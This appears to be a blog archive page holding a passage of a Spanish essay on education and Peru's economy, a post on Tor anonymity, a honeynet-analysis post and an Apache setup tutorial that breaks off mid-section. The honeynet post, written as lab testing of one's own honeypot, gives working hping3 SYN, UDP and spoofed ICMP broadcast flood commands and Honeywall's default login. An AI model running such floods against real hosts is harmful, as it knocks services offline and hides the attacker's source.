Es obvio que con criterio nacionalista desearíamos que todo fuera diferente, que nuestro Estado fuera poderoso, que tuviera recursos adecuados como para que pudiese explotar nuestros recursos naturales, sin necesidad de recurrir a la empresa privada y menos a las multinacionales. Que desapareciera para siempre el pedido de que inviertan en nuestro país los empresarios extranjeros. Y que los gobernantes fuesen de lo más competentes y honrados, que las empresas públicas produjeran ganancias y no las pérdidas que produjeron en las décadas pasadas. Y para lograr estos objetivos nuestros gobernantes deberían ser intelectual y éticamente de los más competentes, que fueran capaces de emplear los conocimientos más avanzados que existen en el planeta. Sería deseable que los contratos con las empresas extranjeras fueran las más convenientes al país; y que los mayores ingresos fiscales por concepto de la exportación de minerales sirvieran para mejorar la salud del pueblo y relanzar la educación con un nuevo criterio, con aquel que permitiera que nuestro país fuese también productor y exportador de intangibles, o sea de conocimiento, que es un derivado de la educación. Claro todo eso sería deseable, pero lo que nosotros queremos que suceda no existe en la realidad. No podemos confundir deseos con realidades. Y si queremos que cambie en el futuro, necesitamos saber cómo hacerlo, mejor dicho necesitamos de conocimientos que ahora la población no tiene. Que estos conocimientos no solamente lo tuvieran un reducido número de personas, que no fuera patrimonio de las élites sino de dominio más amplio. Mejor dicho necesitamos de una nueva educación. No solamente diferente en valores como ahora se insiste sino en ciencia y tecnología. Porque si bien quizá siempre existan delincuentes de cuello y corbata, cuando menos necesitamos un pueblo educado de diferente manera, que sepa actuar con conocimiento. Que sepa usar el corazón, pero también el cerebro. Repito, necesitamos de una nueva educación. Países como Corea, o los llamados Tigres Asiáticos, fueron tan pobres como el nuestro y ahora sus destinos son diferentes. China Popular, en estos momentos camina a pasos agigantados a convertirse en la primera potencia no solamente comercial del mundo, sino también industrial. No es cierto que sus precios son competitivos solamente por la mano de obra barata, sino que paralelamente inyectan conocimiento de última generación a sus productos. Su éxito depende del conocimiento y el conocimiento es un derivado de la educación. Es imprescindible saber cómo actuar. Cómo resolver problemas, cómo salir de la pobreza, cómo afrontar dificultades. Es imprescindible tener una nueva educación que no solamente sirva para hacer cantar a los niños, para fomentar las rupestres dinámicas y para esperar que por arte de magia o milagro tengamos la lucidez necesaria para afrontar los grandes retos que nos plantea la Historia.

Las materias primas son eso, materias primas, o sea naturaleza, cuya verdadera importancia va a depender de qué hagamos con ellas, en qué productos acabados los transformemos, qué tipo de conocimiento les inyectemos. ¿Seguimos pensando en la magia de resolver nuestros problemas económicos inyectándoles cero conocimiento? Con eso solamente estamos justificando el tipo de educación que tenemos. Aquella que nos induce a suponer que somos mendigos sentados en un imaginario banco de oro.

Por la década de los sesenta del siglo pasado estaba de moda quejarse contra el imperialismo., porque según decíamos se llevaban toneladas de minerales por insignificantes sumas de dinero y nos lo devolvían ya industrializados pequeños trocitos de nuestros minerales a precios caros. ¿Por qué no decíamos que a esas materias primas, a esos insumos le habían inyectado conocimiento y que estábamos comprando conocimiento introducido en pequeñas porciones de los minerales que vendimos?

Estas preguntas no van contra algo que es obvio, valorar y cuidar nuestras materias primas. La crítica va contra esa cultura parasitaria de pretender vivir exclusiva o fundamentalmente de recursos naturales. El propio término lo dice, son recursos naturales. El problema está en qué hacer con ellos. ¿Venderlos? Su precio obviamente será el que corresponde a las materias primas y en todo caso su precio está fijado por las leyes de la oferta y la demanda. En este caso, mientras el progreso científico determina que entre cada objeto se utilice cada vez menos materias primas, por otra parte, con la presencia de China en la industria mundial, la demanda crecerá. Pero no crecerá de manera absoluta, porque no hay que perder de vista que el conocimiento tiende inevitablemente a ocupar el espacio de la materias primas, de manera que el mismo objeto, pero más perfeccionado requiere de menos de cantidad de materia prima.

El conocimiento incide en la revalorización de las materias primas, en el contexto actual y probablemente en el futuro se irá acentuando, al ritmo de las innovaciones tecnológicas. Cada vez que se producen progresos tecnológicos y unos artefactos quedan desfasados, entonces se hace necesario más materia prima para seguir produciendo los objetos que reemplazan a los obsoletos y aquellos nuevos productos que aparecen en el mercado. En este aspecto, la tendencia a la diversificación parece infinita. Por tanto, aun cuando el conocimiento reemplaza exitosamente a las materias primas, éstas se vuelven necesarias como recipiente de las nuevas invenciones. Esta tendencia incide también en la proliferación de basura, como desechos de los productos industriales que caen en desuso, salvo que se establezca el reciclaje masivo. ¿Hasta qué punto, para evitar problemas ecológicos progresarán las tecnologías relativas al reciclaje de los objetos ya convertidos, repentinamente en basura?

El caso es que la competencia empresarial genera una tendencia compulsiva hacia la innovación, la cual se expresa no solamente como el sobredimensionamiento de las capacidades de lo inventado sino en la diversificación o sustitución. Así vimos como elbetamax fue reemplazado por el VH, luego éste por el DVD, pero de ninguna manera las tendencias terminarán ahí. Mejor dicho no se anuncia un fin de la historia en esta guerra tecnológica. Y salvo las mentes incautas o ideologizadas afirmarán que las innovaciones son innecesarias, que de lo que se trata es simplemente de fomentar el consumismo. Si ese fuera el propósito de los empresarios, los consumidores no tendrían por qué someterse a ese juego. Lo que sucede es que cada innovación genera nuevas capacidades tecnológicas de los que los usuarios quieres disponer, sea que se aplique a fines simplemente lúdicos, a objetivos científicos, académicos o tecnológicos.

Las innovaciones en términos de software y hardware, según la ley de Moore, se producen exponencialmente2. Esto trae como consecuencia que así como se avanza hacia lananotecnología, o sea hacia la minimización absoluta en el uso de materias primas debido a la sustitución del ingrediente naturaleza por el conocimiento, fruto de la educación, la exponencialidad en el progreso tecnológico, trae como consecuencia la obsolescencia vertiginosa de los objetos de manera que, como consecuencia se producen dos hechos: a) mayor demanda de materias primas y b) incremento del cementerio de los desechos tecnológicos, con sus consecuencias medioambientales.

Esta tendencia implica que el precio de las exportaciones de los minerales crezca de manera considerable, permitiendo que por primera vez las exportaciones se duplicaran en una gestión gubernamental, entre el 2004 y el 2005, aunque en este caso, no se debió a que se doblara el volumen de la demanda sino sobre todo por el incremento de los precios, pero la variable precios estuvo determinada por la variable demanda.

Sin embargo hay que diferenciar el valor que el conocimiento agrega al introyectarse en el producto, al convertirse en el alma los productos y la otra, los efectos repotenciadores de precio al incrementar la demanda. Pero, en todo caso, el incremento de la demanda está determinado por las innovaciones tecnológicas, o sea por el conocimiento; y esta variable está inevitablemente asociada a la variable educación, independientemente de que esta educación se administre de manera privada o pública, por empresas directamente relacionadas con la educación o con la producción.

Los educadores no solamente debemos sentir orgullo de la naturaleza de nuestro territorio sino —sobre todo— de nuestro trabajo, de las posibilidades que tenemos de competir sanamente con la naturaleza, o de aliarnos con ella. Porque el conocimiento que transforma y —en cierto modo— reemplaza a las materias primas es un derivado de la educación. La educación crea conocimiento y éste apuntala el desarrollo de la educación. Ambos como aliados de la economía. Y la economía como una de las variables del bienestar humano.

Para decirlo de otro modo, la economía tiende a depender —de modo creciente— del conocimiento. Esta es la mercancía de moda y lo seguirá siendo, con tendencia creciente. Los países que venden más conocimiento son más ricos. En el siglo XX se consideraba como el magnate representativo de la economía norteamericana a Rockefeller, cuya fortuna dependía del petróleo. Incluso a mediados de los 70 del siglo pasado los magnates más grandes del mundo estaban vinculados a la propiedad de grandes pozos petroleros. En la actualidad, luego de la invasión Norteamérica a Irak, el mundo ha tomado conciencia que el petróleo es un recurso natural que pronto se agotará y en tal circunstancia puede multiplicar su precio o crecer en mayor medida, mejorando la posición económica de los empresarios del petróleo3. Pero esto tocará su fin. Por el momento de la fortuna personal más grande, correspondiente en los sesenta a Rockefeller, hemos pasado a la fortuna de un empresario norteamericano aún joven, cuyo nombre es Bill Gates, vinculado a la producción de Software, o sea de conocimiento. Para lo cual utiliza como principal herramienta su cerebro dotado de capacidad creativa.

Considerando las premisas antes planteadas, necesitamos diferenciar entre medios y fines en el proceso educativo. Si bien el fin último es el bienestar humano, existe un fin intermedio que debe establecerse si es la Pedagogía o el conocimiento.

Por el énfasis que siempre suele ponerse entre los educadores pareciera que el fin es la Pedagogía, o sea la técnica de cómo enseñar, más no los resultados de ese proceso. Los educadores nos hemos pasado la vida hablando de Pedagogía como si fuese la meta final y al tocar este tema, nos hemos reducido a un fin instrumentalista.

Es imprescindible reorientar la Pedagogía hacia la búsqueda incesante de conocimientos de punta y no pedagogía por la pedagogía. Así como ha existido un conocimiento funcional a los estados imperiales de la antigüedad que privilegiaba la fuerza del guerrero, en la actualidad la Educación debe estar orientada a la búsqueda del conocimiento acorde a los estándares internacionales. Esto implica que los maestros formados tanto en los institutos pedagógicos como en las universidades para transmitir conocimientos válidos en una sociedad agropecuario—artesanal se mentalicen para formar estudiantes capaces de resolver problemas en un mundo tecnológico cuyo entorno es el software. Esto implica entender primero de qué estamos hablando. Porque cuando usualmente hablamos con profesores, la primera reacción es pensar en las cabinas de Internet o en las computadoras domésticas y suponer que se les obliga a comprar alguna PC. No se trata de eso. Es importante que los educadores entiendan que el computador sirve no solamente para redactar textos, sino para realizar planos, organizar bibliotecas, realizar cálculos estadísticos y matemáticos en general, aprender idiomas, para la investigación científica, la producción de los objetos más sofisticados, vuelos espaciales, ingeniería genética, fábrica de aviones, armas de guerra, automóviles, hornos digitales, micro y mega máquinas, industria del entretenimiento, agricultura y ganadería y prácticamente para todas las actividades de la vida puesto que hoy el software es un entorno básico incluso en los juguetes más elementales. Ha llegado momento en que para ganarse la vida como simple técnico, el que no entienda sobre este nuevo y absorbente entorno quedará excluido y, por tanto, desempleado. Y quien quiera diseñar o producir a la manera tradicional no podrá competir en calidad o, en todo caso, empleará un tiempo mucho mayor al promedio y, por tanto, sus costos serán tan grandes que venderá sus servicios a precios muy caros, o en todo caso, utilizando más del tiempo necesario, cobrará precios muy exiguos, condenándose a vivir en la indigencia. Pero finalmente, debemos tener una visión clara: No existe hoy objeto pequeño o grande, incluso juguetes, que no lleven internamente un microprocesador, con su correspondiente software. ¿Estamos preparados para participar en este tipo de producción? ¿Está orientada nuestra educación para afrontar estos retos?

Los países que tienen la capacidad para producir estos prodigios han diseñado su educación para que su población tenga la capacidad de producirlos.

En Perú la economía está orientada a la extracción de minerales, a la deforestación de la selva, a la pesca. En suma, nuestra economía depende de lo que produce la naturaleza, no el hombre. Se trata de una economía parasitaria, al igual que Venezuela y los países árabes que viven de la extracción y venta de petróleo, o sea de la explotación de la naturaleza y no de la capacidad creativa de la gente.

La solución correcta sería aprovechar racionalmente los recursos naturales, pero no depender tan extraordinariamente de ellos. Hemos visto ya que el vender un objeto tan simple aparentemente, como un teléfono celular, el país que lo produce está vendiendo conocimiento, el transforma insignificantes cantidades de materias primas para construir un objeto que puede costar cientos o miles de dólares. Cuando vendemos conocimientos inserto en los objetos estamos generando trabajo, a la vez que estamos potenciando la capacidad de la gente y potenciando también su capacidad adquisitiva. Depender de los recursos mineros como sucede históricamente en la república peruana, depender de las regalías que nos dejan las empresas extractoras de esos recursos es consecuencia de una inadecuada educación.

Notas
______________________
1 Institución educación pre universitaria, de mando medio.
2 Cf. Bill Gates: Camino al futuro. McGRAW-HILL. Segunda Edición Internacional, 1997.
3 Según Rifkin, el fin de la era del petróleo podría llegar dentro de unas tres décadas, cuando este recurso fósil se agote. Cf. Jeremy Rifkin: La economía del hidrógeno. La creación de la red energética mundial y la redistribución del poder en la tierra. Piados Estado y Sociedad 102. Barcelona, 2002.

Fuente: Dr. Gerardo Alcántara Salazar

Anonimato al extremo!

2013-06-18T13:29:00.003+02:00

Entonces al fin y al cabo, la red Tor provee una manera de esconder el vínculo entre la dirección origen y destino de una conexión dada. Por lo tanto, un intruso no puede determinar de dónde viene la información y hacia dónde va, lo que nos convierte en anónimos.

Pero la pregunta persiste: ¿puede realmente volvernos anónimos? La respuesta es sí y no. Necesitamos recordar que todos los paquetes que son enviados de nuestro cliente al servidor serán encriptados en el servidor. Esto realmente tiene sentido por cómo el servidor usaría la información y haría algo con ella si ésta fuera encriptada. En consecuencia, Tor provee anonimato sobre internet, pero no puede proveer los medios para mantenerte anónimo al servidor que está recibiendo la información. Describamos esto un poco más. Si estamos enviando paquetes que contienen nuestro nombre de usuario, nombre de dominio o alguna otra información que indica nuestra presencia, entonces la máquina objetivo sabrá quiénes somos, aunque algún intruso que esté escuchando en un nodo intermediario tal vez no. Esto se reduce a lo siguiente:

En cada conexión a través de la red Tor, necesitamos tener en cuenta que a la información:

- el cliente la envía

- Internet la direcciona

- el servidor la recibe

Con Tor, podemos asegurarnos que Internet aunque canaliza la información, no tiene idea sobre la dirección origen ni destino que usamos, lo cual es crucial para mantener el anonimato sobre Internet. Pero la información enviada de un cliente hacia un servidor son visibles en los dos extremos de la conexión. Por lo tanto, para ser verdaderamente anónimos, incluso en la máquina destino, necesitamos no encapsular ninguna información sensible en el paquete de datos del tráfico entre el cliente y el servidor.

Con motivo de esconder la información del nivel de aplicación que pueda comprometer nuestro anonimato, podemos usar Torbutton, una extensión de Firefox que inhabilita muchos posibles filtrados de información que nos puedan comprometer. O lo que es mejor, podemos usar Tor browser bundle, el cual usa Vidalia para configurar e iniciar Tor. Éste además abre el navegador Web Tor con Torbutton integrado, el que podemos usar para buscar anónimamente en internet.

fuente: http://elbauldelprogramador.com/articulos/logrando-el-anonimato-con-tor-parte-1/
referencia : [1] https://help.ubuntu.com/community/Tor. (guía de instalación)
[2] https://www.torproject.org/docs/tor-manual.html.en.(manual)

"Honeywall" to analyze the network traffic and Prevention of Attacks!!

2013-05-31T13:52:00.001+02:00

The entire purpose of deploying a honeynet is to collect data. However, that data has no value if it cannot be analyzed. Walleye interface is the graphical tool available for analyzing the logged activities and alerts. Walleye also supports the integration and analysis of sebek data. The power of sebek data is that it captures all of the system activity and gives the ability to analyze what happened on the honeypot, even if the attacker went in encrypted.[1]

On opening the management interface in the browser (https://ip-address-management-interface), administrator will be prompted to login. This is a SSL connection. The default user is roo and password is honey. Administrator will then be prompted to change the password. [2]

This section discusses the data captured and analyzed through the walleye interface. Walleye interface facilitates the analysis of data on the basis of source IP, destination IP, source port, destination port. The protocols used for analysis are TCP, UDP, and ICMP. However sebek data is also captured and analyzed.

Attack Profile

In order to test the functionality of honeynet, some simulated attacks are launched. Although this simulation does not actually hack the target machine, but it provides deep insight about the working of honeynet and how walleye displays the data from MySQL database.

As a beginner, the simplest attacks that can be launched are packet fabrication without SYN flag, DOS, smurf attack, flooding by using IP spoofing etc. The tool used to do so is hping3. [3]

The command used to launch the attack is hping3. One of the customized ways to do this is to use the option flood with the command to launch flooding on a target IP. Administrative rights are required to run the mentioned command from the attacker’s machine. The attacker’s machine is placed in the production network. [4]

#hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source <Victim IP>

Source IP can also be spoofed with –a option in this command. The logged entries against spoofed attacker IP do not depict the actual IP of the attacker. [5]

There are some numeric options that represent UDP/ICMP protocol in the command i.e. flooding is done through which protocol. These options are -1 for ICMP, -2 for UDP protocol. For TCP protocol, different flags can be used as mentioned (S for SYN, R for RST, A for ACK etc.) in the sample command above.

V= verbose ; c= packet-count ; d= data-size ; S= SYN flag ;w= winsize ;p= port; s= base source port

Result

Flooding attack is launched in different scenarios with different protocols. There are three scenarios created to launch the attack and analyze the consequences on walleye interface. the three scenarios are based on TCP, UDP, and ICMP protocols respectively.

Scenario 1 – Use of TCP SYN flag to flood the target machine (honeypot) The command used for this scenario to launch flood attack on victim machine is:

hping3 -V -c 10000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP [23]

Figure 1. Flooding the honeypot with TCP traffic

Scenario 2 – Use of UDP protocol to flood the target machine

The command used for this scenario to launch flood attack on victim machine is:

hping3 -V -c 10000 -d 120 -2 -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP

Figure 2. Flooding the honeypot with UDP traffic

Scenario 3 – Use of ICMP protocol to flood the victim machine with IP spoofing

This scenario uses ICMP protocol to ping the victim machine repeatedly. It is observed that millions of IDS are logged against a single connection within a few minutes of launching the attack as shown in figure 4. The number of packets and bytes transferred from the attacker’s machine are quite large but the incoming packets and bytes in response are 0 because the command is run with two special things:

IP spoofing used by the attacker to launch the attack (option –a in command).
Use of broadcast address of the victim machine.

The command used to launch attack using ICMP protocol is:

hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS

Figure 2. Flooding the honeypot with ICMP traffic

References
[1]"International Journal of computer Applications (0975-887)",Gurdip Kaur and Jatinder Singh saini
[2]“Know Your Enemy: Honeywall CDROM Roo”, 3rd Generation Technology, The Honeynet Project.
[3]“Hping”, www.hping.org
[4]Johny, Awad, Andreas, Derdemezis, 2005. “Implementation of a High Interaction Honeynet Testbed for Educational and Research Purposes”, MsITT Thesis, AIT.
[5]Zereneh, William, 2010. “Packet Crafting”.

Instalación y Configuracion de Apache en Debian

2013-03-12T01:39:00.002+01:00

Queria empezar el siguiente post con la siguiente imagen en la cual podemos apreciar que hasta en marzo del 2012 "Apache" ocupaba el 57,45% seguido de "nginx" con un 12,71%, cabe deducir que en la actualidad Apache es el servidor web más utilizado en el mundo. Por tal motivo decidí hacer un resumen de la instalación y configuración de Apache.

# Instalación de Apache2
apt-get install apache2
 
# Arranque y parada del servicio:

 service apache2 start | stop | status | restart | reload
 
# Rutas de ficheros de configuración:
/etc/apache2
 
/etc/apache2/apache2.conf: configuración de directorio raiz por defecto, logs, procesos, etc.
/etc/apache2/httpd.conf: configuraciones de usuario.
/etc/apache2/mods-available/: directorio de módulos disponibles
/etc/apache2/mods-enabled/: directorio de módulos habilitados
/etc/apache2/ports.conf: configuraciones de puertos.
/etc/apache2/sites-available/: configuración de sitios
/etc/apache2/sites-enabled/: configuración de los sitios que están habilitados.

Directivas utilizadas para la configuración servidores virtuales y principal

ServerName: indica el nombre que se le dará al servidor web.
DocumentRoot: indica el directorio raíz del sitio para el servidor.
ServerAdmin: indica la dirección de correo del webmaster del sitio.
DirectoryIndex: indica los ficheros que podrán actuar como página índice del sitio.

Habilitando y deshabilitando módulos

La inclusión de los módulos necesarios para ampliar la funcionalidad del servidor, se efectúa mediante la directiva LoadModule, seguido del nombre del módulo y el archivo (o librería) que lo contiene. Se utilizarán tantas directivas LoadModule, como módulos distintos se vayan a utilizar.

En Debian en el directorio /etc/apache2/mods-enabled tenemos enlaces simbólicos con la extensión .load, que indican el módulo que se va a cargar. Se pueden activar así o mediante la instrucción a2enmod (apache 2 enable module) seguida del nombre del módulo a habilitar. Por ejemplo:

# Para habilitar un módulo en Apache 2 se usa: a2enmod
# Habilitamos por ejemplo el módulo usertrack
a2enmod usertrack
 
# Para deshabilitar un módulo en Apache 2 se usa: a2dismod
# Deshabilitamos por ejemplo el módulo usertrack
a2dismod usertrack

Protegiendo Directorios

Hay dos formas de proteger directorios en Apache:

Antes de ejecutar cualquier de los dos métodos, hay que asegurarse que el módulo auth_basic está habilitado en: /etc/apache2/mods-enabled.

1)Creando el fichero .htaccess en el directorio a proteger

# Para proteger un directorio en Apache2.
# Dentro del directorio que queremos proteger creamos un fichero .htaccess con este contenido:

AuthName "Acceso Restringido a este recurso"
AuthType Basic
AuthUserFile /usr/local/apache2/etc/.htpasswd
Require valid-user
 
# Si queremos permitir el acceso sólo a un usuario específico, pondremos:
Require user nombreusuario
 
# Crearemos el fichero de contraseñas, y lo pondremos 
# en un directorio fuera de la raíz web, para más seguridad:
mkdir -p /usr/local/apache2/etc
 
# Creamos el fichero de contraseñas .htpasswd (lo ponemos oculto para dar más seguridad),
# con un usuario al que llamamos admin (nos pedirá la contraseña al pulsar ENTER).
# Creación del fichero de contraseñas:
htpasswd -c /usr/local/apache2/etc/.htpasswd admin
 
# Para añadir más usuarios al fichero de contraseñas (por ejemplo antonio):
htpasswd /usr/local/apache2/etc/.htpasswd antonio
 
# Editar el directorio virtual en el fichero de configuración del Apache2 a proteger en:
nano /etc/apache2/sites-available/default
 
# Activar la opción AllowOverride All:
    <Directory /var/www/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
 
    Order allow,deny
    allow from all
    </Directory>
 
# Por último reiniciar el servicio Apache:
service apache2 restart

2) Editando la configuración del sitio web:

# Crearemos el fichero de contraseñas, y lo pondremos 
# en un directorio fuera de la raíz web, para más seguridad:
mkdir -p /usr/local/apache2/etc
 
# Creamos el fichero de contraseñas .htpasswd (lo ponemos oculto para dar más seguridad),
# con un usuario al que llamamos admin (nos pedirá la contraseña al pulsar ENTER).
# Creación del fichero de contraseñas:
htpasswd -c /usr/local/apache2/etc/.htpasswd admin
 
# Para añadir más usuarios al fichero de contraseñas (por ejemplo antonio):
htpasswd /usr/local/apache2/etc/.htpasswd antonio
 
# Editamos el sitio web que queremos proteger y el directorio en particular:
nano /etc/apache2/sites-available/default
 
#Añadimos las directivas necesarias en el directorio a proteger:
AuthType Basic
AuthName "Acceso Restringido a este recurso"
AuthUserFile /usr/local/apache2/etc/.htpasswd
Require valid-user
 
# Si queremos permitir el acceso sólo a un usuario específico, pondremos:
Require user pepe antonio maria

Peticiones HTTPS

# Directivas para redireccionar todas las peticiones HTTP
# a peticiones HTTPS
 
RewriteEngine on
DirectoryIndex index.php
RewriteCond %{SERVER_PORT} ^80$
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R,L]
 
# Directiva para redireccionar los .html a sus correspondientes .php
# pasando el parámetro definido como inc (Query)
RewriteRule ^([^/]+).html$ index.php?inc=$1 [QSA,L]

Servidores Virtuales en Apache

Nuestro servidor web puede servir múltiples webs a la vez, empleando una IP o varias.

Para poder hacer ésto, Apache necesita diferenciar el acceso a cada una de las webs, y para ello lo puede hacer de dos formas:

Configurando puertos distintos para cada web, y el acceso se hará a través de cada puerto.
A través de los diferentes nombres de dominio alojados en el servidor y que se conectan a un mismo puerto 80 (por ejemplo).

Acceso a través de puertos distintos

Para configurar el acceso a diferentes webs, a través de puertos diferenciados, lo primero que tenemos que hacer es configurar los VirtualHost en nuestro servidor de Apache, e indicar los puertos dónde queremos que escuche nuestro servidor web.

Editaremos el fichero /etc/apache2/ports.conf:

#Vamos a habilitar los puertos dónde va a escuchar nuestro servidor Apache:
nano /etc/apache2/ports.conf
 
Listen 80
Listen 9999
 
# Si queremos que Apache escuche en unas IP específicas tendremos que poner también la IP:puerto
Listen 192.168.2.250:80
 
# Mediante la directiva NameVirtualHost indicaremos que vamos a tener hosts virtuales.
# El asterisco indica que vamos a recibir peticiones de VirtualHost en todas las IP en las que 
# está escuchando nuestro servidor web. Si nos interesa una IP específica la indicaremos.
# A continuación pondremos : y el número de puerto.
NameVirtualHost *:80
 
# Para cada servidor virtual, crearemos una línea como la anterior. Por ejemplo, añadimos una más:
NameVirtualHost *:9999

Si queremos que se muestren webs diferentes al acceder por un puerto u otro, editaremos las directivas correspondientes dentro del fichero /etc/apache2/sites-available/default, que es el sitio habilitado por defecto y configuraremos los parámetros de DocumentRoot, DirectoryIndex, ServerName, etc.

Acceso a través de nombres de dominios diferentes

En este caso el puerto será común a todos los servidores virtuales, con lo que en principio el fichero ports.conf podemos tener algo como:

NameVirtualHost *:80
Listen 80

Crearemos un fichero con la configuración que queramos dar al nuevo sitio virtual, de esta manera evitaremos que el fichero default crezca demasiado en tamaño y se haga complicada su edición. Ese nuevo fichero lo haremos en /etc/apache2/sites-available/.

# Por ejemplo:
nano /etc/apache2/sites-available/servidor1.local

Para cada servidor virtual se deberá crear un fichero como el mencionado anteriormente, y dentro se creará un contenedor donde se incluirán sus correspondientes directivas (ServerName, DocumentRoot, ServerAdmin, DirectoryIndex). Cada contenedor, generalmente, está delimitado por las etiquetas con formato <VirtualHost direccion-de-red:puerto> y </VirtualHost>.
Por ejemplo, éste sería el contenido mínimo para un servidor virtual servidor1.local:

<VirtualHost *:80>
ServerName www.servidor1.local
DocumentRoot /var/www/servidor1.local
ServerAdmin webmaster@servidor1.local
DirectoryIndex index.html index.php
</VirtualHost>

Por tanto se deberán crear tantos contenedores de este tipo como servidores virtuales se necesiten. Como valor dirección-de-red se indicará uno de los valores previamente definidos con las directivas NameVirtualHost ("*" o una dirección IP), dependiendo por donde queremos que el servidor virtual atienda las solicitudes. </source>

Habilitar / Deshabilitar sitios web

Para habilitar un sitio virtual que tenemos definido en la carpeta /etc/apache2/sites-available/ lo haremos mediante el comando a2ensite nombredelsitio. Por ejemplo:

# Suponiendo que en /etc/apache2/sites-available tenemos un sitio www.pruebas.local
# Lo habilitaremos con:
a2ensite www.pruebas.local
 
# Para deshabilitarlo lo haremos con:
a2dissite www.pruebas.local
 
# Reniciaremos el servicio a continuación:
service apache2 restart

Estructura web recomendada para múltiples sitios web

En muchas organizaciones mantienen una estructura determinada a la hora de colocar aplicaciones en sus servidores web. Aquí va una guía de cómo organizar y estructurar el servicio web:

1.- Modificar la raíz del sitio web, como si fuera una aplicación web: en nuestro caso al instalar Debian la raíz del sitio web es /var/www. Lo que haremos es crear una carpeta llamada htdocs por ejemplo y modificaremos la directiva DocumentRoot en el fichero /etc/apache2/sites-available/default al directorio /var/www/htdocs.

nano /etc/apache2/sites-available/default
 
DocumentRoot /var/www/htdocs
 
 <Directory /var/www/htdocs/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    allow from all
</Directory>

2.- Si queremos instalar una nueva aplicación web en nuestro servidor web haremos:

Crear el directorio principal de la aplicación en /var/www/, siguiendo esta estructura:

mkdir -p /var/www/aplicacion/htdocs

Dentro de la carpeta htdocs de la aplicación, copiaremos todos los archivos de la misma.

3.- Una vez copiados todos los archivos tendremos que crear el fichero de configuración de Apache para esa aplicación. Ese fichero lo crearemos en el directorio /etc/apache2/sites-available/.
Un ejemplo de configuración para una web de programación de aplicaciones podría ser:

# Esta recomendación es demasiado extensa. Se cita a modo de ejemplo, pero no se 
# utilizará en ningún ejercicio.
nano /etc/apache2/sites-available/aplicacion
 
<Directory /var/www/htdocs/aplicacion>
        Order allow,deny
        Allow from all
     Options +FollowSymLinks
        Allowoverride all
        RewriteEngine on
        php_admin_value open_basedir /var/www/htdocs/aplicacion:/var/www/properties/:
/var/www/aplicacion:/var/www/logs/:/tmp/
</Directory>
<Location /aplicacion>
        SetEnv PROPDIR /var/www/aplicacion/properties
        SetEnv RUTAAPP /var/www/aplicacion/htdocs
        SetEnv FILEDIR /var/www/aplicacion/files
</Location>

4.- Por último quedaría realizar un enlace simbólico desde /var/www/htdocs/ al directorio htdocs de nuestra aplicación:

# Creamos el enlace simbólico desde la carpeta raíz de nuestro servidor web a nuestra aplicación
cd /var/www/htdocs
ln -s /var/www/aplicacion/htdocs/ aplicacion
 
# De esta forma al poner http://ipservidor/aplicacion nos conectará 
# con la carpeta /var/www/aplicacion/htdocs
 
# Reiniciamos el servicio web
service apache2 restart

De esta forma tendremos físicamente nuestra aplicación web, fuera del directorio raíz del servidor.

Instalación de certificados y acceso seguro con HTTPS

Si queremos usar conexiones seguras mediante el protocolo HTPS para acceso a determinadas páginas, tendremos que configurar Apache para que cargue el módulo ssl , aunque en algunas versiones de Apache 2 suele venir integrado.
Comprobaremos si está o no instalado consultando el directorio /etc/apache2/mods-enabled, y en el caso de que no esté lo habilitaremos con a2enmod ssl.

a2enmod ssl

Necesitaremos tener instalado además OpenSSL (apt-get install openssl), que se encarga de la implementación SSL para llevar a cabo transferencias seguras. Este módulo no se recomienda en configuraciones con más de un servidor virtual que utilicen el mismo puerto de escucha, ya que la conexión SSL del cliente se establece con una IP y puerto determinado del servidor. Apache no sabrá con qué servidor virtual debe utilizar SSL, escogiendo el primero que se encuentra, y no utilizará conexiones seguras para el resto de servidores virtuales.
Más información de por qué no se puede usar SSL con virtual hosts basados en nombre: http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#vhosts
Para corregir este problema se utiliza la extensión TLS denominada SNI (Server Name Indication o Indicación de Nombre de Servidor), necesitando tener instalado el paquete libapache2-mod-gnutls (para cargar el módulo gnutls en vez de ssl).
Más información sobre SNI en: http://en.wikipedia.org/wiki/Server_Name_Indication
Se podría tener un servidor virtual principal para el sitio principal y que atiende en el puerto 80, y un servidor virtual para el sitio seguro que atiende en el puerto 443 y que utiliza SSL.
Para ofrecer páginas de forma segura en un sitio web, el servidor necesita un certificado que apruebe su autentiticidad. Para generar un certificado autofirmado hay que ejecutar la instrucción make-ssl-cert, y se nos solicitará información para completar ese certificado. Tendremos que indicarle como parámetro el fichero con extensión ".pem", que se generará al final de la ejecución y que contendrá las claves para efectuar el cifrado asimétrico por el servidor.
Es necesario habilitar el puerto de escucha mediante la directiva Listen 443. Además serán necesarias las siguientes directivas:

SSLRequireSSL: se usa en el contenedor <Directory> y fuerza la utilización de SSL, evitando su desactivación.
SSLEngine: habilita SSL (valor on) en un servidor virtual, si se deshabilitó en el servidor principal.
SSLCertificateFile: indica la ruta del fichero (.pem) que contiene el certificado.

Para crear un certificado autofirmado que guardaremos en la carpeta /etc/apache2/certificados/certificado1.pem ejecutaremos el siguiente comando:

# Creamos el directorio dónde almacenaremos los certificados:
mkdir -p /etc/apache2/certificados
 
# Generamos el fichero .pem que contendrá el certificado:
# Con esta instrucción o bien con:
make-ssl-cert /usr/share/ssl-cert/ssleay.cnf   /etc/apache2/certificados/miweb.local.pem
 
openssl req $@ -new -x509 -days 365 -nodes -out /etc/apache2/certificados/miweb.local.pem -keyout
 /etc/apache2/certificados/miweb.local.pem
 
 
# Respondemos a las preguntas que se nos hacen en la generación del certificado.
 
# Damos permisos de lectura al certificado
chmod 600 /etc/apache2/certificados/miweb.local.pem
 
# Habilitamos el soporte SSL
a2enmod ssl
 
# Reiniciamos el servicio
service apache2 restart

Tendremos que editar el archivo /etc/apache2/ports.conf para indicar que queremos que nuestro servidor web también escuche en el puerto 443. Lo más normal es crear un servidor virtual que escuche en el puerto 80 y el mismo pero escuchando en el puerto 443:

# Editamos el fichero /etc/apache2/ports.conf:
nano /etc/apache2/ports.conf
 
# Añadimos los servidores virtuales:
Listen 80
Listen 443
 
NameVirtualHost  *:80
NameVirtualHost  *:443

Ahora nos queda revisar y configurar los contenedores de los sitios disponibles para habilitar las opciones SSL. En el directorio /etc/apache2/sites-available revisaremos los contenedores:

